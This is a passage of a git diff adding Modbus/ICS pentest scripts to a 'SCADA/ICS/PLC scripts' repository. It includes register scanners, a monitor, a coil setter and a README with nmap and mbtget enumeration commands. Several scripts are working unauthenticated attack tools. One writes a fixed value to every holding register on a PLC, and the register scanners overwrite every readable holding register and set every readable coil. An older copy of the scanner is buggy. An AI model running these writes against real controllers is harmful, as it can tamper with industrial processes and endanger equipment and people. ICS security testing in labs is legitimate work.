str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t 